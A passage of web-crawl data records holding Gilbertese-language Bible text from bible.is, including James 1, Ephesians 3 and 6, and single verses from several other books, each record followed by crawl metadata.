2 Tariu, kam na kimwarerei ngkana kam kaaitara ma taiani kariirii nako, 3 ngkai kam ataa kataan ami onimaki bwa e karika te nano mwaaka. 4 Ao 461 ke e kakororaoa raoi ana mwakuri te nanomwaaka i nanomi, bwa kam aonga ni kororaoi n akea kabwakaami, ao kam aki kainnano n te bwai teuana. 5 Ngkana akea ana rabakau temanna i buakomi, ao e na butiia te Atua ae e tituaraoi, ae e kukurei n angaangania aomata ni kabaneia, ao e na bon anganaki. 6 Ma e na buubuti ma te nano n onimaki, n aki nanokokoraki teutana; bwa ane e nanokokoraki ai aron nanoni marawa ae e ukaki n te ang ao e kaueeaki. 7 E na tai taku te aomata anne bwa e na anganaki te bwai mai iroun te Uea; 8 ngkai te aomata ngaia n nanououa, ae e kai bibitaki arona. 9 Ke e kimwaareirei te tari ae e aki kaubwai ngkae e karietaataaki; 10 ao e na kimwaareirei ane e kaubwai ngkae e karinanoaki: bwa ane e kaubwai ao e na mauna n ai aron ueen te uteute. 11 Bwa e oti taai ma te ang ae kabuebue, ao e karaia te uteute; ao e bwaka ueena, ao e mauna tamaaroana. Ao ai aron naba te aomata ae kaubwai: e na rai i nanon ana tai ni waakina ana bitineti. 12 E a kabwaia te aomata ae e teimatoa i buakon te kariiriiaki; bwa ngkana e a tia ni kataaki, ao e na reke irouna te bau are te maiu, are E atongnga te Uea bwa aia bwai akana a tangiria. 13 Ngkana e kariiriiaki temanna, ao ke e tai kaangai, I kariiriiaki mai iroun te Atua: bwa E aki konaaki te Atua ni kariiriiaki ni baika a bubuaka, ao akea ae E kariiriiaki irouna; 14 ma e kariiriiaki te aomata ngkana e kairaki ma n tauaki n nanona ni kaibwabwaru. 15 Ao te nano ni kaibwabwaru, ngkana e bikoukou, ao e bungia te bure; ao te bure, ngkana e ikawai, ao e bungia te mate. 16 Tariu aika kam tangiraki, a na tai bure ami iango. 17 Bwaai ni kabane aika a raraoi ma ni moanibaan te raoiroi boni bwaai n tituaraoi mai eta, aika a ruo mai iroun Taman te oota! \"Taman te oota,\" bon te Atua are e karika taai ma namwakaina ma itoi aika iai ootaia.are akea irouna te bibitaki are e na reke maiai te nu ae e roo. 18 E karikira n oin nanona, n te taeka are te koaua, bwa ti na riki bwa kaanga moani-bwai i buakoia akana a karikaki irouna. 19 Tariu aika kam tangiraki, kam na ataa aei: a riai aomata nako n aki tabwara n ongoraa, a na aki waekoa ni kan taetae, ao a na aki kakai un; 20 bwa unin te aomata e aki konaa ni karaoa nanon te Atua. 21 Ma ngaia ae kam na kaaki aromi aika a kamwaraa ma kateimi ni kabane aika a bubuaka, ao kam na kaaki i nanomi ma te nimamannei te taeka are e unikaki are e konaa te kamaiungkami. 22 Kam na aki mwaamwanaingkami n iangoia bwa ti taan ongoraa ngkami n ana taeka te Atua; ma kam na riki bwa taan toua mwiina. 23 Bwa ngkana e ongo ana taeka te Atua te aomata n aki toua mwiina, ao ai aron te aomata ae e tirotiroia n te tirotaam: 24 bwa e tirotiroia, ao e nako, ao e a mwaninga naba ngkekei tein taraana. 25 Ma ane e tarataraa te tua are moanibaan te raoiroi, are tuan te inaomata, n teimatoa iai, ngkai tiaki te aomata ngaia are e ongo ao i mwiina e mwaninga, ma te aomata are e karaoa nanon te baere e ongo, ao e na kakabwaiaaki n are e na karaoia. 26 Ngkana e taku temanna bwa e taua te Aro, ao e aki konaa n taua tian ana taeka, ao e boni mwaamwanaia i bon irouna, ao akea nanon tauan te Aro irouna. 27 Aio te Aro ae e itiaki ae e aki kamwaraa i matan te Atua ae te Tama: bon tararuaiia akana a mate tamaia ma aine aika a mate buia ni kain nanoia; ao te kaawakinna te aomata bwa e na aki baareka ni bwain aon te aba.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/1","date":"2013-05-23T06:28:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702900179\/warc\/CC-MAIN-20130516111500-00095-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":714,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.483,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 3:14\n14 Ma ngkana iai i nanomi te bakantang ae e bati ma te iangoingkami i bon iroumi, ao kam na tai kamoamoaingkami n eekaanako te koaua ma ni kakewea.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/3\/14","date":"2013-05-21T13:16:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700014987\/warc\/CC-MAIN-20130516102654-00029-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999052286,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999052286148071}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.312,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 TIMOTEO 4:14\n14 Ko na tai kaaki taekan te bwai n tituaraoi ane iroum, are ko anganaki n te tai are a taetae ni buraabeti iai buraabeti ao a katokai baiia i aom unimwaanen te ekaretia.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/4\/14","date":"2013-05-25T01:45:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705310619\/warc\/CC-MAIN-20130516115510-00031-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999473095,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999473094940186}","num_words":53,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.264,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 13:5\n5 Kam na kataingkami ao kakoauaingkami bwa kam bon onimaki ni koaua. Kam aki ataia bwa E mena Iesu Kristo i nanomi?—ma E aki mena i nanomi ngkana kam a tia ni kataingkami ao kam kakoauaa bwa kam aki onimaki ni koaua.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/13\/5","date":"2013-06-19T21:20:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368709224828\/warc\/CC-MAIN-20130516130024-00000-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999779463,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999779462814331}","num_words":61,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.279,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 3:16\n16 Bwa ike e mena iai te bakantang ma te iangoia te aomata bon ibukina, ao e mena naba iai te mangaongao irouia aomata ma mwakuri aika a bubuaka ni kabane.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/3\/16","date":"2013-05-24T18:17:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704943681\/warc\/CC-MAIN-20130516114903-00031-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999750853,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999750852584839}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 27:6\n6 E reke iai taekan te kaibuke tewaana mai Arekanria are e nangi borau nako Itare irouni mataniwiin te taanga ni buaka are tebubua kaaina, ao e katokaira iai.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27\/6","date":"2013-05-21T13:29:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700014987\/warc\/CC-MAIN-20130516102654-00047-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9994753003,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9994753003120422}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.229,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 9:12\n12 ao E rin n te tabo are moanibaan te tabu ti teuana te tai ao akea riki, ao E aki uoti raraaia kooti ma buniia kaao, ma E uota oin raraana ao E karekea kamaiuara ae e aki tootoki.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/12","date":"2013-06-19T15:26:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708808767\/warc\/CC-MAIN-20130516125328-00060-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999600649,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999600648880005}","num_words":59,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.339,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 14:28\n28 Ma ngkana akea te tia kabwaraa nanon taeka, ao ke e kainabwaabu n te bootaki n ekaretia te aomata ane e rabakau n taetae n te taetae ae e aki ataaki; ke e taetae bon ti nakoina ma te Atua.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/28","date":"2013-05-21T20:25:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700497024\/warc\/CC-MAIN-20130516103457-00087-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000067949295044}","num_words":60,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.317,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 5:12\n12 Kam a riai ni kaman tia n riki bwa taan reirei, ma ae kam bon tangira naba temanna bwa e na reireingkami baike moanreirei n ana taeka te Atua; ao ae kam bon teimatoa naba n tangira te miriki, ao tiaki te amwarake ae e matoatoa.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/5\/12","date":"2013-05-21T20:10:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700497024\/warc\/CC-MAIN-20130516103457-00096-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":66,"character_repetition_ratio":0.029,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.303,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 1:4\n4 Mai iroun Ioane nakoia ekaretia ake itiua ake i Atia: Ami bwai te aakoi ma te raoi mai iroun Teuare bon iai ngkai, ao iai ngkoa, ao iai rimwi n aki toki; ami bwai naba te aakoi ma te raoi mai irouia taamnei ake itiman ake a meemena i nanoaan ana kaintokanuea;\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/1\/4","date":"2013-05-23T15:32:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368703489876\/warc\/CC-MAIN-20130516112449-00007-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999955893,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999955892562866}","num_words":73,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.247,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 5:19\n19 Bwa aroia aomata aika a bati ngke a riki n atongaki bwa taani bure n ana aki-ongeaaba te aomata ae ti temanna, ao ai aroia naba aomata aika a bati bwa a na kaetaki aroia n reitaki ma te Atua n ana ongeaaba te aomata ae ti temanna.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/19","date":"2013-05-25T16:30:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705958528\/warc\/CC-MAIN-20130516120558-00048-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":68,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.368,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 15:1\n1 E riai iroura ngaira aika a korakora ara onimaki bwa ti na taotaon nanora nakoia aika a mamaara aia onimaki, ao ti na aki iri oin nanora ni karaoa are ti tangiria.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/1","date":"2013-05-22T18:31:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702185502\/warc\/CC-MAIN-20130516110305-00080-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9997939467,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9997939467430115}","num_words":52,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.288,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ataei, ngkai kam reitaki ma te Uea; ao kam na ongotaeka irouia ami karo, bwa e riai aei. 2 Ko na karinea tamam ma tinam. Bon aei te moa n tua ae e raonaki n te taeka n aakoi ae e kaangai, 3 Bwa ko aonga ni kabwaia, ao e aonga ni maan am tai ni maiu i aon te aba. 4 Ao ngkami taama, tai kauniia natimi: ma kam na tongaiia ma ni kairiia i aan te reireiaki ma te tuatuangaki aroia aika a riai n ai aron nanon te Uea. 5 Ao ngkami tooro, kam na ongotaeka irouia ami toka aika aomata, n ruru ni maaku, ao karaoia ma te nano ni koaua, n ai aromi n ongotaeka irouni Kristo. 6 Kam na karaoia tiaki ibukina ngke kam kani kakukureiia ngke a taraingkami; ma kam na karaoia n ai aroia ana toro Kristo aika a karaoa nanon te Atua ma nanoia ni koaua. 7 Kam na karaoa ami mwakuri n toro ma te nanoraoi, bwa kaanga ai aron ae kam toro iroun te Uea ma tiaki irouia aomata. 8 Kam bon ataia bwa e na reke nakon temanna ma temanna boona mai iroun te Uea n te mwakuri ae e raoiroi are e karaoia, n aki warekaki bwa te toro ngaia ke te inaomata. 9 Ao ngkami tooka, kam na karaoi baikai naba nakoia, ao tai kamaakuia; ngkai kam ataa aia Toka, are ami Toka naba, bwa E mena i karawa, ao akea ae E nanoniia irouia aomata. 10 Te kabanea: kam na korakora i nanon te Uea, ao ni korakorani mwaakana. 11 Kam na karini bwaini buaka nako ake mai iroun te Atua aika bwaini kamanoan rabwatami, bwa kam aonga ni konaa n tei ni kaaitarai aron te riaaboro ni wanawana aika a bureburea te aba. 12 Bwa ti aki buaka ma aomata, ma ti buaka ma ueea, ma ake a korakora, ma taan tauu taekan aonnaba aika taan taua aron te roo aei, ma taian taamnei aika a buaakaka ake i aani karawa. 13 Ma ngaia ae kam na karini bwaini kamanoan rabwatami ake mai iroun te Atua, bwa kam aonga ni konaa n tei ni kaaitaraiia n te bong ae e buaakaka; ao ngkana kam a tia ni karaoi bwaai ni kabane, ao kam na bon aki konaaki. 14 Ma ngaia ae kam na tei, ao kam na kabae nuukami n te koaua, ao kam na katokaa te tanga are karaoan nanon te Atua, 15 ao kauniwaeningkami n te tauraoi n taekina euangkerion te raoi. 16 Kam na uouota n taai nako te otanga are te onimaki, are kam konaa iai ni kabane n tiring taian ai ake a ura i tabon ana kai ni bakarere teuare e buaakaka. 17 Ao kam na uouota naba te barengaru are te maiu, ma ana kabaang te Taamnei, ae ana taeka te Atua. 18 Ao kam na tataro n aki toki n taian tataro ni kabane ma buubuti, n ai aroni kairami iroun te Taamnei; ao kam na kamarurungingkami nako iai, ma n aki bwara n nano, ni buubuti i bukiia ake a itiaki ni kabaneia, 19 ao i bukiu naba; bwa I aonga n anganaki te taetae, bwa N na kaurea wiiu n aki mamaaku, ni kaota te baere e raba are n te euangkerio, 20 are te tia taetae ngai ibukina ae I kabaeaki iai n te taurekereke; bwa I aonga n taekinna n aki mamaaku, n te aro ae e riai bwa N na taekinna iai. 21 Tukiko, ae te tari ae e tangiraki, ae te tia mwakuri ae e kakaonimaki ibukin te Uea, e na kaongoraaingkami bwaai ni kabane, bwa kam aonga naba n atai taekau ma arou bwa I ua ra: 22 bwa anne bukin ae I kanakoa iai nakoimi, bwa kam na atai arora, ao e na karau nanomi. 23 E bia reke te rau, ma te tangira, ma te onimaki irouia taari mai iroun te Atua are te Tama ma te Uea are Iesu Kristo. 24 E na mena te aakoaki irouia aomata ni kabaneia ake a tangira ara Uea are Iesu Kristo n te tangira ae akea tokina.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/6","date":"2013-05-18T12:46:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696382396\/warc\/CC-MAIN-20130516092622-00089-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":665,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 9:28\n28 ao ai aron naba Kristo: bwa ti teuana te tai are E riki iai bwa te karea Ngaia ni kamaunai aia bure aomata aika a bati. E na kaoti te kaua tai nakoia ake a kaantaningaia ibukini kamaiuaia, ma E na aki katabea n te bure.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/28","date":"2013-05-24T11:58:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704655626\/warc\/CC-MAIN-20130516114415-00097-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000004768371582}","num_words":66,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ma ngaia ae ngai ae Bwauro, ae ana aomata Kristo Iesu ae E kabureaki i bukimi ngkami aika tiaki I-Iutaia, 2 —tao kam a bon tia n ongo bwa E a tia te Atua n ana aakoi n anganai te nakoa aei i bukimi; 3 bwa e kaotaki nako iu te baere e raba n te kaotioti, n ai aron are I a tia ni korea taekana ni kauarerekea nakoimi; 4 bwa ngkana kam wareki, ao kam konaa iai n ataa au atatai n ana bwai ae e raba Iesu, 5 are e aki kaotaki nakoia natiia aomata n rooro ake ngkoangkoa, n ai arona ngkae e kaotaki ngkai iroun te Taamnei nakoia ana tia tuatua aika a tabu ma ana buraabeti aika a tabu naba; 6 te kaantaninga n te baere e raba aei: bwa a na raoniia Iteraera ni bwaibwai aomata aika tiaki I-Iutaia, ma n riki bwa te rabwata ae ti teuana ma ngaiia, ao bwa a na reke tibwangaia n te taeka n aakoi ngkai a reitaki ma Kristo Iesu n te euangkerio; 7 are I riki bwa te tia mwakuri ngkai iai, n ai aron te bwai n tituaraoi are ana aakoi te Atua, are I anganaki ni mwamwakurini mwaakana. 8 I anganaki, ngai ae moan te mangori i buakoia ake a itiaki ni kabaneia, te mwakuri ae e kakaawaki aei, ae te tataekina nakoia aomata aika tiaki I-Iutaia taekan aroni Kristo aika a kamiimii, aika a kaangaanga aroia ni kuneaki, 9 ao te kaota nakoia aomata ni kabaneia aroni mwakurian te baere e raba, are e karabaaki ma ngkoangkoa iroun te Atua are e kariki bwaai ni kabane; 10 bwa e aonga ni kaotaki n te ekaretia rabakaun te Atua ae a bati arona nakoia ueea ma ake a korakora i karawa, 11 n ai aron nanona ma ngkoangkoa are E kakoroa irouni Kristo Iesu are ara Uea. 12 Ngkai ti reitaki ma Kristo, ao ngkai ti onimakinna, ao ti ninikoria ni kawara te Atua ma te aki nanokokoraki. 13 Ma ngaia ae I buubuti bwa a na tai bwara nanomi n rawaawatau i bukimi, bwa bon ibukini kamoamoaami. 14 I bukin aei ao I katorobubua nakon Tamara, 15 are a reke mai irouna araia utu ni kabane ake i karawa ma ake i aon te aba; ao I tataro 16 bwa E na anganingkami mani kaubwain arona aika a kamiimii, te mwaaka iroun Taamneina bwa kam aonga ni kakorakoraaki n nanomi; 17 bwa E na maeka Kristo i nanomi ibukin ami onimaki, ao bwa a na iai wakaami ma aami n te tangira, 18 bwa e aonga n iai iroumi ma ake a itiaki ni kabaneia te konaa n ataa raababan, ma anaun, ma nanon, ma rietan ana tangira Kristo, 19 bwa e aonga naba n iai iroumi te konaa n ataa tangirami irouni Kristo, are e aki konaaki n ataaki raoi arona, bwa a aonga ni kaonaki maiumi n anuan te Atua ni kabane. 20 Ao nakon Teuare e konaa ni karaoi bwaai aika moan te bati aika a mwaiti riki nakoni bwaai aika ti buubuti ma n ururing, n ai aron te mwaaka ae e mwamwakuri i nanora: 21 ana bwai te neboaki n te ekaretia ao irouni Kristo Iesu man te rorona nakon te rorona ao n aki tootoki. Amene.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/3","date":"2013-05-24T19:58:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705020058\/warc\/CC-MAIN-20130516115020-00086-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":530,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.468,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 3:11\n11 Ngke e tabe teuarei ni kakanimnimmwa i rarikini Betero ma Ioane ao a rangi ni miimii aomata, ao a biri ni bootaki nakoia n te kaman are e aranaki bwa ana kaman Toromon.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/3\/11","date":"2013-05-24T13:17:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704658856\/warc\/CC-MAIN-20130516114418-00007-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9998915195,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9998915195465088}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 I aki inaomata? Tiaki te tia tuatua ngai? I tuai noora Iesu are ara Uea? Ao tiaki ngkami kanoani mwiin au mwakuri ibukin te Uea? 2 Ngkana a aki kinai tema'ngina bwa te tia tuatua ngai, ma kam boni kinai bwa te tia tuatua ngai nakoimi; bwa boni kakoauaan nakoau ngkami bwa te tia tuatua ngai ibukin te Uea. 3 Ao aio au taeka nakoia akana nenera arou: 4 Akea ara riai bwa ti na amwaamwarake ma ni momooi? 5 Akea ara riai bwa ti na kaiririia buura aika Kristian, n ai aroia taan tuatua ake tabemwaang, ma tarin nako te Uea, ma Keebwa? 6 Ke ti ngai ma Bwarenaba aika ti na mwakuri ni karekei baika ti kainnanoi ibukini maiura? 7 Antai te tautia ae boni kabwakai booni mwiin ana kabane mwane i nanon ana tai ni mwakuri n tautia? Antai ae e uniki kureebe ni nneia ae e na aki kang uaana? Antai te tia kaawakin-tiibu ae e aki karekea nimana n rannimammaia tiibu? 8 I aki taekini baikai man te iango n aomata. Tiaki bwa aei naba ae e taekinna te Tua? 9 Bwa e koreaki ae e kaangai n ana Tua Mote: Ko na tai kabaea wiin te kkao ngkana e toutoua te uiitani kaaki kunna; 10 ke tiaki ana taeka anne i bukira? E boni koreaki i bukira: bwa te aomata ae e katauraoa raoi tanon ana tabo n unuuniki e mwakuri ma kaantaningaan reken tibwangana man uaan arokana; ao te aomata are e kaaki kunin uaan uiita e kaantaninga naba reken tibwangana man uaan uiita. 11 Ngkana ti a tia ni kamaae n uniki koraa i nanomi ni baika a reitaki ma ana kaantaninga te Atua, ao e na iai te nako-buaka iroumi ngkana ti karekei mai iroumi uaani mwiin ara mwakuri, aika bwain te maiu aei? 12 Ngkana iai aia riai temwaangina ni karekei tibwangaia n ami bwai, ao tiaki e a moamoa riki ara riai ni karekei tibwangara n ami bwai? Ma e boni ngae n anne, ma ti a tia n aki bwaina arora aei nakoimi; ma ti taotaon nanora nakoni bwaai nako bwa ti aonga n aki tuutuuka kawain te euangkerio. 13 Kam aki ataiia ake a kaakarao taromauri n te umwantabu bwa a karekei kanaia man te umwantabu, ao te koraki ake a karao taromauri n angakarea bwa iai tibwangaia ni baike a kareanaki? 14 Ao ai arona naba nakoia te koraki ake a tataekina te euangkerio, bwa E tua te Uea bwa a riai ni kareke baika a kainnanoi ibukini maiuia man aia mwakuri n tataekina te euangkerio. 15 Ma I tuai mani bwaina teuana mani baikai, ao I aki koroi naba taeka aikai bwa a aonga n reke nakoiu. E raoiroi riki i bukiu bwa N na mate nakon ae e anaaki mai irouu iroun temanna te bwai ae I kakatonga iai. 16 Bwa ngkana I tataekina te euangkerio, ao bon akea bukin ae N na kamoamoa iai, bwa I katabeaki iai bwa I bon riai n tataekinna. E na reke kaiu ngkana I aki tataekina te euangkerio! 17 Bwa ngkana I karaoa aei ibukin ae I boni kani karaoia, ao e na reke iai boon au mwakuri; ma ngkana I karaoia ibukina bwa tiaki oin nanou, ao I karaoia bwa bon au mwakuri ae I anganaki bwa N na karaoia. 18 Tera ngkanne kaniwangau iai? Bon te tataekina te euangkerio n akea boona, ao te aki bwaini baike a bon riai n reke nakoiu n au mwakuri ibukin te euangkerio. 19 Bwa e ngae ngke I inaomata bwa akea ae I toro irouna, ma I karikai bwa te toro ngai nakoia aomata ni kabaneia bwa N na kabatiaia konau. 20 Ngkana I mwakuri i buakoia I-Iutaia, ao I riki n ai aroia I-Iutaia, bwa a aonga n riki ni Kristian; ao e boni ngae ngkana I aki mena i aan te Tua, ma I riki n ai aron ae I mena i aan te Tua, bwa a aonga n riki ni Kristian te koraki ake a mena i aan te Tua. 21 Ao ngkana I mwakuri i buakoia aomata ake aki tautaekanaki n te tua, ao I riki n ai aroia n aki tautaekanaki n te tua, bwa a aonga n riki bwa Kristian; ma tiaki nanona bwa aongkoa akea ana tua te Atua irou, bwa I boni mena i aan ana tua Kristo. 22 Ao ngkana I mwakuri i buakoia aika a mamaara n te onimaki, ao I riki n ai aroia ni mamaara, bwa a aonga n riki ni Kristian. I a tia n riki n aekaia aomata nako n aroia nako, ao I karaoi bwaai ni kabane aika I 